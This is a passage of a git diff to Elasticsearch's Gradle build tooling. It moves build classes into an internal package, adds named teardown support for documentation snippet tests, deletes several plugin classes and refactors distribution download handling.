- for (String line : sourceFile.readLines()) { - if (isPackageInfo && packageDeclaration == null && line.startsWith('package')) { - packageDeclaration = line - } - - if (foundNotice == false) { - foundNotice = line.contains('@notice') - inNotice = true - } else { - if (line.contains('*/')) { - inNotice = false - - if (isPackageInfo == false) { - break - } - } else if (inNotice) { - header.append(line.stripMargin('*')) - header.append('\n') - } - } - } - - if (foundNotice) { - appendText(header.toString(), isPackageInfo ? packageDeclaration : sourceFile.name, '', output) - } - } - outputFile.setText(output.toString(), 'UTF-8') - } - - @InputFiles - @Optional - FileCollection getNoticeFiles() { - FileTree tree - licensesDirs.each { dir -> - if (tree == null) { - tree = project.fileTree(dir) - } else { - tree += project.fileTree(dir) - } - } - - return tree?.matching { include '**/*-NOTICE.txt' } - } - - @InputFiles - @Optional - FileCollection getSources() { - return sources - } - - static void appendFile(File file, String name, String type, StringBuilder output) { - String text = file.getText('UTF-8') - if (text.trim().isEmpty()) { - return - } - appendText(text, name, type, output) - } - - static void appendText(String text, String name, String type, StringBuilder output) { - output.append('================================================================================\n') - output.append("${name} ${type}\n") - output.append('================================================================================\n') - output.append(text) - output.append('\n\n') - } -} diff --git a/buildSrc/src/main/groovy/org/elasticsearch/gradle/AntFixtureStop.groovy b/buildSrc/src/main/groovy/org/elasticsearch/gradle/internal/AntFixtureStop.groovy similarity index 89% rename from buildSrc/src/main/groovy/org/elasticsearch/gradle/AntFixtureStop.groovy rename to buildSrc/src/main/groovy/org/elasticsearch/gradle/internal/AntFixtureStop.groovy index 39342c0ab964e..71ef7f0c306ce 100644 --- a/buildSrc/src/main/groovy/org/elasticsearch/gradle/AntFixtureStop.groovy +++ b/buildSrc/src/main/groovy/org/elasticsearch/gradle/internal/AntFixtureStop.groovy @@ -6,10 +6,12 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle +package org.elasticsearch.gradle.internal import org.apache.tools.ant.taskdefs.condition.Os -import org.elasticsearch.gradle.test.AntFixture +import org.elasticsearch.gradle.FixtureStop +import org.elasticsearch.gradle.LoggedExec +import org.elasticsearch.gradle.internal.test.AntFixture import org.gradle.api.file.FileSystemOperations import org.gradle.api.tasks.Internal diff --git a/buildSrc/src/main/groovy/org/elasticsearch/gradle/AntTask.groovy b/buildSrc/src/main/groovy/org/elasticsearch/gradle/internal/AntTask.groovy similarity index 98% rename from buildSrc/src/main/groovy/org/elasticsearch/gradle/AntTask.groovy rename to buildSrc/src/main/groovy/org/elasticsearch/gradle/internal/AntTask.groovy index 821506e0c5a34..69331af5ca18f 100644 --- a/buildSrc/src/main/groovy/org/elasticsearch/gradle/AntTask.groovy +++ b/buildSrc/src/main/groovy/org/elasticsearch/gradle/internal/AntTask.groovy @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle +package org.elasticsearch.gradle.internal import org.apache.tools.ant.BuildListener import org.apache.tools.ant.BuildLogger diff --git a/buildSrc/src/main/groovy/org/elasticsearch/gradle/doc/DocsTestPlugin.groovy b/buildSrc/src/main/groovy/org/elasticsearch/gradle/internal/doc/DocsTestPlugin.groovy similarity index 95% rename from buildSrc/src/main/groovy/org/elasticsearch/gradle/doc/DocsTestPlugin.groovy rename to buildSrc/src/main/groovy/org/elasticsearch/gradle/internal/doc/DocsTestPlugin.groovy index cc572a9f063a8..2d68538c0ccb3 100644 --- a/buildSrc/src/main/groovy/org/elasticsearch/gradle/doc/DocsTestPlugin.groovy +++ b/buildSrc/src/main/groovy/org/elasticsearch/gradle/internal/doc/DocsTestPlugin.groovy @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle.doc +package org.elasticsearch.gradle.internal.doc import org.elasticsearch.gradle.OS import org.elasticsearch.gradle.Version @@ -13,7 +13,6 @@ import org.elasticsearch.gradle.VersionProperties import org.gradle.api.Plugin import org.gradle.api.Project import org.gradle.api.file.Directory -import org.gradle.api.file.DirectoryProperty import org.gradle.api.provider.Provider import org.gradle.api.tasks.TaskProvider @@ -24,7 +23,7 @@ class DocsTestPlugin implements Plugin { @Override void apply(Project project) { - project.pluginManager.apply('elasticsearch.testclusters') + project.pluginManager.apply('elasticsearch.internal-testclusters') project.pluginManager.apply('elasticsearch.standalone-rest-test') project.pluginManager.apply('elasticsearch.rest-test') diff --git a/buildSrc/src/main/groovy/org/elasticsearch/gradle/doc/RestTestsFromSnippetsTask.groovy b/buildSrc/src/main/groovy/org/elasticsearch/gradle/internal/doc/RestTestsFromSnippetsTask.groovy similarity index 92% rename from buildSrc/src/main/groovy/org/elasticsearch/gradle/doc/RestTestsFromSnippetsTask.groovy rename to buildSrc/src/main/groovy/org/elasticsearch/gradle/internal/doc/RestTestsFromSnippetsTask.groovy index f266eaaa10446..cf551f6ee04f3 100644 --- a/buildSrc/src/main/groovy/org/elasticsearch/gradle/doc/RestTestsFromSnippetsTask.groovy +++ b/buildSrc/src/main/groovy/org/elasticsearch/gradle/internal/doc/RestTestsFromSnippetsTask.groovy @@ -6,10 +6,10 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.doc +package org.elasticsearch.gradle.internal.doc import groovy.transform.PackageScope -import org.elasticsearch.gradle.doc.SnippetsTask.Snippet +import org.elasticsearch.gradle.internal.doc.SnippetsTask.Snippet import org.gradle.api.InvalidUserDataException import org.gradle.api.file.DirectoryProperty import org.gradle.api.tasks.Input @@ -31,9 +31,20 @@ class RestTestsFromSnippetsTask extends SnippetsTask { */ private static final List BAD_LANGUAGES = ['json', 'javascript'] + /** + * Test setups defined in the build instead of the docs so they can be + * shared between many doc files. + */ @Input Map setups = new HashMap() + /** + * Test teardowns defined in the build instead of the docs so they can be + * shared between many doc files. + */ + @Input + Map teardowns = new HashMap() + /** * A list of files that contain snippets that *probably* should be * converted to `// CONSOLE` but have yet to be converted. If a file is in @@ -281,19 +292,40 @@ class RestTestsFromSnippetsTask extends SnippetsTask { } body(test, false) + + if (test.teardown != null) { + teardown(test) + } } private void setup(final Snippet snippet) { // insert a setup defined outside of the docs - for (final String setupName : snippet.setup.split(',')) { - final String setup = setups[setupName] + for (final String name : snippet.setup.split(',')) { + final String setup = setups[name] if (setup == null) { - throw new InvalidUserDataException("Couldn't find setup for $snippet") + throw new InvalidUserDataException( + "Couldn't find named setup $name for $snippet" + ) } + current.println("# Named setup ${name}") current.println(setup) } } + private void teardown(final Snippet snippet) { + // insert a teardown defined outside of the docs + for (final String name : snippet.teardown.split(',')) { + final String teardown = teardowns[name] + if (teardown == null) { + throw new InvalidUserDataException( + "Couldn't find named teardown $name for $snippet" + ) + } + current.println("# Named teardown ${name}") + current.println(teardown) + } + } + private void response(Snippet response) { if (null == response.skip) { current.println(" - match: ") diff --git a/buildSrc/src/main/groovy/org/elasticsearch/gradle/doc/SnippetsTask.groovy b/buildSrc/src/main/groovy/org/elasticsearch/gradle/internal/doc/SnippetsTask.groovy similarity index 95% rename from buildSrc/src/main/groovy/org/elasticsearch/gradle/doc/SnippetsTask.groovy rename to buildSrc/src/main/groovy/org/elasticsearch/gradle/internal/doc/SnippetsTask.groovy index b70f910e7249e..b07d3381eec36 100644 --- a/buildSrc/src/main/groovy/org/elasticsearch/gradle/doc/SnippetsTask.groovy +++ b/buildSrc/src/main/groovy/org/elasticsearch/gradle/internal/doc/SnippetsTask.groovy @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.doc +package org.elasticsearch.gradle.internal.doc import groovy.json.JsonException import groovy.json.JsonParserType @@ -30,12 +30,13 @@ class SnippetsTask extends DefaultTask { private static final String SCHAR = /(?:\\\/|[^\/])/ private static final String SUBSTITUTION = /s\/($SCHAR+)\/($SCHAR*)\// private static final String CATCH = /catch:\s*((?:\/[^\/]+\/)|[^ \]]+)/ - private static final String SKIP = /skip:([^\]]+)/ + private static final String SKIP_REGEX = /skip:([^\]]+)/ private static final String SETUP = /setup:([^ \]]+)/ + private static final String TEARDOWN = /teardown:([^ \]]+)/ private static final String WARNING = /warning:(.+)/ private static final String NON_JSON = /(non_json)/ private static final String TEST_SYNTAX = - /(?:$CATCH|$SUBSTITUTION|$SKIP|(continued)|$SETUP|$WARNING|(skip_shard_failures)) ?/ + /(?:$CATCH|$SUBSTITUTION|$SKIP_REGEX|(continued)|$SETUP|$TEARDOWN|$WARNING|(skip_shard_failures)) ?/ /** * Action to take on each snippet. Called with a single parameter, an @@ -50,14 +51,7 @@ class SnippetsTask extends DefaultTask { * directory. */ @InputFiles - ConfigurableFileTree docs = project.fileTree(project.projectDir) { - // No snippets in the build file - exclude 'build.gradle' - // That is where the snippets go, not where they come from! - exclude 'build' - exclude 'build-idea' - exclude 'build-eclipse' - } + ConfigurableFileTree docs /** * Substitutions done on every snippet's contents. @@ -226,10 +220,14 @@ class SnippetsTask extends DefaultTask { return } if (it.group(7) != null) { - snippet.warnings.add(it.group(7)) + snippet.teardown = it.group(7) return } if (it.group(8) != null) { + snippet.warnings.add(it.group(8)) + return + } + if (it.group(9) != null) { snippet.skipShardsFailures = true return } @@ -251,7 +249,7 @@ class SnippetsTask extends DefaultTask { substitutions = [] } String loc = "$file:$lineNumber" - parse(loc, matcher.group(2), /(?:$SUBSTITUTION|$NON_JSON|$SKIP) ?/) { + parse(loc, matcher.group(2), /(?:$SUBSTITUTION|$NON_JSON|$SKIP_REGEX) ?/) { if (it.group(1) != null) { // TESTRESPONSE[s/adsf/jkl/] substitutions.add([it.group(1), it.group(2)]) @@ -341,6 +339,7 @@ class SnippetsTask extends DefaultTask { String language = null String catchPart = null String setup = null + String teardown = null boolean curl List warnings = new ArrayList() boolean skipShardsFailures = false @@ -372,6 +371,9 @@ class SnippetsTask extends DefaultTask { if (setup) { result += "[setup:$setup]" } + if (teardown) { + result += "[teardown:$teardown]" + } for (String warning in warnings) { result += "[warning:$warning]" } diff --git a/buildSrc/src/main/groovy/org/elasticsearch/gradle/test/AntFixture.groovy b/buildSrc/src/main/groovy/org/elasticsearch/gradle/internal/test/AntFixture.groovy similarity index 98% rename from buildSrc/src/main/groovy/org/elasticsearch/gradle/test/AntFixture.groovy rename to buildSrc/src/main/groovy/org/elasticsearch/gradle/internal/test/AntFixture.groovy index 347489a43e44f..ad8dcabe2fe3a 100644 --- a/buildSrc/src/main/groovy/org/elasticsearch/gradle/test/AntFixture.groovy +++ b/buildSrc/src/main/groovy/org/elasticsearch/gradle/internal/test/AntFixture.groovy @@ -6,11 +6,12 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test +package org.elasticsearch.gradle.internal.test import org.apache.tools.ant.taskdefs.condition.Os -import org.elasticsearch.gradle.AntFixtureStop -import org.elasticsearch.gradle.AntTask +import org.elasticsearch.gradle.internal.AntFixtureStop +import org.elasticsearch.gradle.internal.AntTask +import org.elasticsearch.gradle.internal.test.Fixture import org.gradle.api.GradleException import org.gradle.api.tasks.Internal import org.gradle.api.tasks.TaskProvider diff --git a/buildSrc/src/main/groovy/org/elasticsearch/gradle/plugin/PluginBuildPlugin.groovy b/buildSrc/src/main/groovy/org/elasticsearch/gradle/plugin/PluginBuildPlugin.groovy deleted file mode 100644 index f9f3166dda661..0000000000000 --- a/buildSrc/src/main/groovy/org/elasticsearch/gradle/plugin/PluginBuildPlugin.groovy +++ /dev/null @@ -1,272 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ -package org.elasticsearch.gradle.plugin - -import com.github.jengelman.gradle.plugins.shadow.ShadowPlugin -import org.elasticsearch.gradle.BuildPlugin -import org.elasticsearch.gradle.NoticeTask -import org.elasticsearch.gradle.Version -import org.elasticsearch.gradle.VersionProperties -import org.elasticsearch.gradle.dependencies.CompileOnlyResolvePlugin -import org.elasticsearch.gradle.info.BuildParams -import org.elasticsearch.gradle.test.RestTestBasePlugin -import org.elasticsearch.gradle.testclusters.ElasticsearchCluster -import org.elasticsearch.gradle.testclusters.RunTask -import org.elasticsearch.gradle.testclusters.TestClustersPlugin -import org.elasticsearch.gradle.util.GradleUtils -import org.elasticsearch.gradle.util.Util -import org.gradle.api.InvalidUserDataException -import org.gradle.api.NamedDomainObjectContainer -import org.gradle.api.Plugin -import org.gradle.api.Project -import org.gradle.api.Task -import org.gradle.api.plugins.BasePlugin -import org.gradle.api.publish.maven.MavenPublication -import org.gradle.api.publish.maven.plugins.MavenPublishPlugin -import org.gradle.api.tasks.Copy -import org.gradle.api.tasks.SourceSet -import org.gradle.api.tasks.TaskProvider -import org.gradle.api.tasks.bundling.Zip - -/** - * Encapsulates build configuration for an Elasticsearch plugin. - */ -class PluginBuildPlugin implements Plugin { - - public static final String PLUGIN_EXTENSION_NAME = 'esplugin' - - @Override - void apply(Project project) { - project.pluginManager.apply(BuildPlugin) - project.pluginManager.apply(RestTestBasePlugin) - project.pluginManager.apply(CompileOnlyResolvePlugin.class) - - PluginPropertiesExtension extension = project.extensions.create(PLUGIN_EXTENSION_NAME, PluginPropertiesExtension, project) - configureDependencies(project) - - TaskProvider bundleTask = createBundleTasks(project, extension) - - project.afterEvaluate { - project.extensions.getByType(PluginPropertiesExtension).extendedPlugins.each { pluginName -> - // Auto add dependent modules to the test cluster - if (project.findProject(":modules:${pluginName}") != null) { - project.testClusters.all { - module(":modules:${pluginName}") - } - } - } - PluginPropertiesExtension extension1 = project.getExtensions().getByType(PluginPropertiesExtension.class) - configurePublishing(project, extension1) - String name = extension1.name - project.archivesBaseName = name - project.description = extension1.description - - if (extension1.name == null) { - throw new InvalidUserDataException('name is a required setting for esplugin') - } - if (extension1.description == null) { - throw new InvalidUserDataException('description is a required setting for esplugin') - } - if (extension1.type != PluginType.BOOTSTRAP && extension1.classname == null) { - throw new InvalidUserDataException('classname is a required setting for esplugin') - } - - Map properties = [ - 'name' : extension1.name, - 'description' : extension1.description, - 'version' : extension1.version, - 'elasticsearchVersion': Version.fromString(VersionProperties.elasticsearch).toString(), - 'javaVersion' : project.targetCompatibility as String, - 'classname' : extension1.type == PluginType.BOOTSTRAP ? "" : extension1.classname, - 'extendedPlugins' : extension1.extendedPlugins.join(','), - 'hasNativeController' : extension1.hasNativeController, - 'requiresKeystore' : extension1.requiresKeystore, - 'type' : extension1.type.toString(), - 'javaOpts' : extension1.javaOpts, - 'licensed' : extension1.licensed, - ] - project.tasks.named('pluginProperties').configure { - expand(properties) - inputs.properties(properties) - } - BuildParams.withInternalBuild { - boolean isModule = GradleUtils.isModuleProject(project.path) - boolean isXPackModule = isModule && project.path.startsWith(":x-pack") - if (isModule == false || isXPackModule) { - addNoticeGeneration(project, extension1) - } - } - } - - BuildParams.withInternalBuild { - // We've ported this from multiple build scripts where we see this pattern into - // an extension method as a first step of consolidation. - // We might want to port this into a general pattern later on. - project.ext.addQaCheckDependencies = { - project.afterEvaluate { - // let check depend on check tasks of qa sub-projects - def checkTaskProvider = project.tasks.named("check") - def qaSubproject = project.subprojects.find { it.path == project.path + ":qa" } - if(qaSubproject) { - qaSubproject.subprojects.each {p -> - checkTaskProvider.configure {it.dependsOn(p.path + ":check") } - } - } - } - } - - project.tasks.named('testingConventions').configure { - naming.clear() - naming { - Tests { - baseClass 'org.apache.lucene.util.LuceneTestCase' - } - IT { - baseClass 'org.elasticsearch.test.ESIntegTestCase' - baseClass 'org.elasticsearch.test.rest.ESRestTestCase' - baseClass 'org.elasticsearch.test.ESSingleNodeTestCase' - } - } - } - } - - project.configurations.getByName('default') - .extendsFrom(project.configurations.getByName('runtimeClasspath')) - - // allow running ES with this plugin in the foreground of a build - NamedDomainObjectContainer testClusters = project.extensions.getByName(TestClustersPlugin.EXTENSION_NAME) - ElasticsearchCluster runCluster = testClusters.create('runTask') { ElasticsearchCluster cluster -> - if (GradleUtils.isModuleProject(project.path)) { - cluster.module(bundleTask.flatMap { t -> t.getArchiveFile() }) - } else { - cluster.plugin(bundleTask.flatMap { t -> t.getArchiveFile() }) - } - } - - project.tasks.register('run', RunTask) { - useCluster(runCluster) - dependsOn(project.tasks.named("bundlePlugin")) - } - } - - private static void configurePublishing(Project project, PluginPropertiesExtension extension) { - if (project.plugins.hasPlugin(MavenPublishPlugin)) { - project.publishing.publications.elastic(MavenPublication).artifactId(extension.name) - } - } - - private static void configureDependencies(Project project) { - project.dependencies { - if (BuildParams.internal) { - compileOnly project.project(':server') - testImplementation project.project(':test:framework') - } else { - compileOnly "org.elasticsearch:elasticsearch:${project.versions.elasticsearch}" - testImplementation "org.elasticsearch.test:framework:${project.versions.elasticsearch}" - } - // we "upgrade" these optional deps to provided for plugins, since they will run - // with a full elasticsearch server that includes optional deps - compileOnly "org.locationtech.spatial4j:spatial4j:${project.versions.spatial4j}" - compileOnly "org.locationtech.jts:jts-core:${project.versions.jts}" - compileOnly "org.apache.logging.log4j:log4j-api:${project.versions.log4j}" - compileOnly "org.apache.logging.log4j:log4j-core:${project.versions.log4j}" - compileOnly "org.elasticsearch:jna:${project.versions.jna}" - } - } - - /** - * Adds a bundlePlugin task which builds the zip containing the plugin jars, - * metadata, properties, and packaging files - */ - private static TaskProvider createBundleTasks(Project project, PluginPropertiesExtension extension) { - File pluginMetadata = project.file('src/main/plugin-metadata') - File templateFile = new File(project.buildDir, "templates/plugin-descriptor.properties") - - // create tasks to build the properties file for this plugin - TaskProvider copyPluginPropertiesTemplate = project.tasks.register('copyPluginPropertiesTemplate') { - outputs.file(templateFile) - doLast { - InputStream resourceTemplate = PluginBuildPlugin.getResourceAsStream("/${templateFile.name}") - templateFile.setText(resourceTemplate.getText('UTF-8'), 'UTF-8') - } - } - - TaskProvider buildProperties = project.tasks.register('pluginProperties', Copy) { - dependsOn(copyPluginPropertiesTemplate) - from(templateFile) - into("${project.buildDir}/generated-resources") - } - - // add the plugin properties and metadata to test resources, so unit tests can - // know about the plugin (used by test security code to statically initialize the plugin in unit tests) - SourceSet testSourceSet = project.sourceSets.test - testSourceSet.output.dir("${project.buildDir}/generated-resources", builtBy: buildProperties) - testSourceSet.resources.srcDir(pluginMetadata) - - // create the actual bundle task, which zips up all the files for the plugin - TaskProvider bundle = project.tasks.register('bundlePlugin', Zip) { - from buildProperties - from(pluginMetadata) { - // metadata (eg custom security policy) - // the codebases properties file is only for tests and not needed in production - exclude 'plugin-security.codebases' - } - /* - * If the plugin is using the shadow plugin then we need to bundle - * that shadow jar. - */ - from { project.plugins.hasPlugin(ShadowPlugin) ? project.shadowJar : project.jar } - from project.configurations.runtimeClasspath - project.configurations.getByName( - CompileOnlyResolvePlugin.RESOLVEABLE_COMPILE_ONLY_CONFIGURATION_NAME - ) - // extra files for the plugin to go into the zip - from('src/main/packaging') // TODO: move all config/bin/_size/etc into packaging - from('src/main') { - include 'config/**' - include 'bin/**' - } - } - project.tasks.named(BasePlugin.ASSEMBLE_TASK_NAME).configure { - dependsOn(bundle) - } - - // also make the zip available as a configuration (used when depending on this project) - project.configurations.create('zip') - project.artifacts.add('zip', bundle) - - return bundle - } - - /** Configure the pom for the main jar of this plugin */ - - protected static void addNoticeGeneration(Project project, PluginPropertiesExtension extension) { - File licenseFile = extension.licenseFile - if (licenseFile != null) { - project.tasks.named('bundlePlugin').configure { - from(licenseFile.parentFile) { - include(licenseFile.name) - rename { 'LICENSE.txt' } - } - } - } - File noticeFile = extension.noticeFile - if (noticeFile != null) { - TaskProvider generateNotice = project.tasks.register('generateNotice', NoticeTask) { - inputFile = noticeFile - source(Util.getJavaMainSourceSet(project).get().allJava) - } - project.tasks.named('bundlePlugin').configure { - from(generateNotice) - } - } - } - - static boolean isModuleProject(String projectPath) { - return projectPath.contains("modules:") || projectPath.startsWith(":x-pack:plugin") || projectPath.path.startsWith(':x-pack:quota-aware-fs') - } -} diff --git a/buildSrc/src/main/groovy/org/elasticsearch/gradle/test/RestTestPlugin.groovy b/buildSrc/src/main/groovy/org/elasticsearch/gradle/test/RestTestPlugin.groovy deleted file mode 100644 index 38ee0f5b879b8..0000000000000 --- a/buildSrc/src/main/groovy/org/elasticsearch/gradle/test/RestTestPlugin.groovy +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ -package org.elasticsearch.gradle.test - -import groovy.transform.CompileStatic -import org.elasticsearch.gradle.BuildPlugin -import org.elasticsearch.gradle.testclusters.TestClustersPlugin -import org.gradle.api.InvalidUserDataException -import org.gradle.api.Plugin -import org.gradle.api.Project -import org.gradle.api.plugins.JavaBasePlugin -import org.gradle.api.tasks.TaskProvider - -/** - * Adds support for starting an Elasticsearch cluster before running integration - * tests. Used in conjunction with {@link StandaloneRestTestPlugin} for qa - * projects and in conjunction with {@link BuildPlugin} for testing the rest - * client. - */ -@CompileStatic -class RestTestPlugin implements Plugin { - List REQUIRED_PLUGINS = [ - 'elasticsearch.build', - 'elasticsearch.standalone-rest-test'] - - @Override - void apply(Project project) { - if (false == REQUIRED_PLUGINS.any { project.pluginManager.hasPlugin(it) }) { - throw new InvalidUserDataException('elasticsearch.rest-test ' - + 'requires either elasticsearch.build or ' - + 'elasticsearch.standalone-rest-test') - } - project.getPlugins().apply(RestTestBasePlugin.class); - project.pluginManager.apply(TestClustersPlugin) - TaskProvider integTest = project.tasks.register('integTest', RestIntegTestTask.class) { - it.description = 'Runs rest tests against an elasticsearch cluster.' - it.group = JavaBasePlugin.VERIFICATION_GROUP - it.mustRunAfter(project.tasks.named('precommit')) - } - project.tasks.named('check').configure { it.dependsOn(integTest) } - } -} diff --git a/buildSrc/src/main/groovy/org/elasticsearch/gradle/test/TestWithDependenciesPlugin.groovy b/buildSrc/src/main/groovy/org/elasticsearch/gradle/test/TestWithDependenciesPlugin.groovy deleted file mode 100644 index f9ef9a0da1070..0000000000000 --- a/buildSrc/src/main/groovy/org/elasticsearch/gradle/test/TestWithDependenciesPlugin.groovy +++ /dev/null @@ -1,58 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -package org.elasticsearch.gradle.test - -import org.elasticsearch.gradle.plugin.PluginBuildPlugin -import org.gradle.api.Plugin -import org.gradle.api.Project -import org.gradle.api.artifacts.Dependency -import org.gradle.api.artifacts.ProjectDependency -import org.gradle.api.tasks.Copy - -/** - * A plugin to run tests that depend on other plugins or modules. - * - * This plugin will add the plugin-metadata and properties files for each - * dependency to the test source set. - */ -class TestWithDependenciesPlugin implements Plugin { - - @Override - void apply(Project project) { - if (project.isEclipse) { - /* The changes this plugin makes both break and aren't needed by - * Eclipse. This is because Eclipse flattens main and test - * dependencies into a single dependency. Because Eclipse is - * "special".... */ - return - } - - project.configurations.testImplementation.dependencies.all { Dependency dep -> - // this closure is run every time a compile dependency is added - if (dep instanceof ProjectDependency && dep.dependencyProject.plugins.hasPlugin(PluginBuildPlugin)) { - project.gradle.projectsEvaluated { - addPluginResources(project, dep.dependencyProject) - } - } - } - } - - private static addPluginResources(Project project, Project pluginProject) { - String outputDir = "${project.buildDir}/generated-resources/${pluginProject.name}" - String camelName = pluginProject.name.replaceAll(/-(\w)/) { _, c -> c.toUpperCase(Locale.ROOT) } - String taskName = "copy" + camelName[0].toUpperCase(Locale.ROOT) + camelName.substring(1) + "Metadata" - project.tasks.register(taskName, Copy.class) { - into(outputDir) - from(pluginProject.tasks.pluginProperties) - from(pluginProject.file('src/main/plugin-metadata')) - } - - project.sourceSets.test.output.dir(outputDir, builtBy: taskName) - } -} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/DistributionDownloadPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/DistributionDownloadPlugin.java index 5772a29d20ec7..b9afb80bb5311 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/DistributionDownloadPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/DistributionDownloadPlugin.java @@ -8,14 +8,9 @@ package org.elasticsearch.gradle; -import org.elasticsearch.gradle.ElasticsearchDistribution.Flavor; -import org.elasticsearch.gradle.ElasticsearchDistribution.Platform; -import org.elasticsearch.gradle.ElasticsearchDistribution.Type; -import org.elasticsearch.gradle.docker.DockerSupportPlugin; -import org.elasticsearch.gradle.docker.DockerSupportService; +import org.elasticsearch.gradle.distribution.ElasticsearchDistributionTypes; import org.elasticsearch.gradle.transform.SymbolicLinkPreservingUntarTransform; import org.elasticsearch.gradle.transform.UnzipTransform; -import org.elasticsearch.gradle.util.GradleUtils; import org.gradle.api.NamedDomainObjectContainer; import org.gradle.api.Plugin; import org.gradle.api.Project; @@ -24,8 +19,11 @@ import org.gradle.api.artifacts.repositories.IvyArtifactRepository; import org.gradle.api.artifacts.type.ArtifactTypeDefinition; import org.gradle.api.internal.artifacts.ArtifactAttributes; +import org.gradle.api.model.ObjectFactory; +import org.gradle.api.provider.Property; import org.gradle.api.provider.Provider; +import javax.inject.Inject; import java.util.Comparator; /** @@ -48,14 +46,19 @@ public class DistributionDownloadPlugin implements Plugin { private NamedDomainObjectContainer distributionsContainer; private NamedDomainObjectContainer distributionsResolutionStrategiesContainer; + private Property dockerAvailability; + + @Inject + public DistributionDownloadPlugin(ObjectFactory objectFactory) { + this.dockerAvailability = objectFactory.property(Boolean.class).value(false); + } + + public void setDockerAvailability(Provider dockerAvailability) { + this.dockerAvailability.set(dockerAvailability); + } + @Override public void apply(Project project) { - project.getRootProject().getPluginManager().apply(DockerSupportPlugin.class); - Provider dockerSupport = GradleUtils.getBuildService( - project.getGradle().getSharedServices(), - DockerSupportPlugin.DOCKER_SUPPORT_SERVICE_NAME - ); - project.getDependencies().registerTransform(UnzipTransform.class, transformSpec -> { transformSpec.getFrom().attribute(ArtifactAttributes.ARTIFACT_FORMAT, ArtifactTypeDefinition.ZIP_TYPE); transformSpec.getTo().attribute(ArtifactAttributes.ARTIFACT_FORMAT, ArtifactTypeDefinition.DIRECTORY_TYPE); @@ -68,11 +71,11 @@ public void apply(Project project) { }); setupResolutionsContainer(project); - setupDistributionContainer(project, dockerSupport); + setupDistributionContainer(project, dockerAvailability); setupDownloadServiceRepo(project); } - private void setupDistributionContainer(Project project, Provider dockerSupport) { + private void setupDistributionContainer(Project project, Property dockerAvailable) { distributionsContainer = project.container(ElasticsearchDistribution.class, name -> { Configuration fileConfiguration = project.getConfigurations().create("es_distro_file_" + name); Configuration extractedConfiguration = project.getConfigurations().create(DISTRO_EXTRACTED_CONFIG_PREFIX + name); @@ -80,7 +83,7 @@ private void setupDistributionContainer(Project project, Provider finalizeDistributionDependencies(project, dist) @@ -160,29 +163,13 @@ private static void setupDownloadServiceRepo(Project project) { * coordinates that resolve to the Elastic download service through an ivy repository. */ private String dependencyNotation(ElasticsearchDistribution distribution) { - if (distribution.getType() == Type.INTEG_TEST_ZIP) { + if (distribution.getType() == ElasticsearchDistributionTypes.INTEG_TEST_ZIP) { return "org.elasticsearch.distribution.integ-test-zip:elasticsearch:" + distribution.getVersion() + "@zip"; } - Version distroVersion = Version.fromString(distribution.getVersion()); - String extension = distribution.getType().toString(); - String classifier = ":" + Architecture.current().classifier; - if (distribution.getType() == Type.ARCHIVE) { - extension = distribution.getPlatform() == Platform.WINDOWS ? "zip" : "tar.gz"; - if (distroVersion.onOrAfter("7.0.0")) { - classifier = ":" + distribution.getPlatform() + "-" + Architecture.current().classifier; - } else { - classifier = ""; - } - } else if (distribution.getType() == Type.DEB) { - classifier = ":amd64"; - } - String flavor = ""; - if (distribution.getFlavor() == Flavor.OSS && distroVersion.onOrAfter("6.3.0")) { - flavor = "-oss"; - } - + String extension = distribution.getType().getExtension(distribution.getPlatform()); + String classifier = distribution.getType().getClassifier(distribution.getPlatform(), distroVersion); String group = distribution.getVersion().endsWith("-SNAPSHOT") ? FAKE_SNAPSHOT_IVY_GROUP : FAKE_IVY_GROUP; - return group + ":elasticsearch" + flavor + ":" + distribution.getVersion() + classifier + "@" + extension; + return group + ":elasticsearch" + ":" + distribution.getVersion() + classifier + "@" + extension; } } diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/DockerBase.java b/buildSrc/src/main/java/org/elasticsearch/gradle/DockerBase.java deleted file mode 100644 index b0902a6acc81a..0000000000000 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/DockerBase.java +++ /dev/null @@ -1,30 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -package org.elasticsearch.gradle; - -/** - * This class models the different Docker base images that are used to build Docker distributions of Elasticsearch. - */ -public enum DockerBase { - CENTOS("centos:8"), - // "latest" here is intentional, since the image name specifies "8" - UBI("docker.elastic.co/ubi8/ubi-minimal:latest"), - // The Iron Bank base image is UBI (albeit hardened), but we are required to parameterize the Docker build - IRON_BANK("${BASE_REGISTRY}/${BASE_IMAGE}:${BASE_TAG}"); - - private final String image; - - DockerBase(String image) { - this.image = image; - } - - public String getImage() { - return image; - } -} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/ElasticsearchDistribution.java b/buildSrc/src/main/java/org/elasticsearch/gradle/ElasticsearchDistribution.java index 18313dbc4f29f..5350b6698cb30 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/ElasticsearchDistribution.java 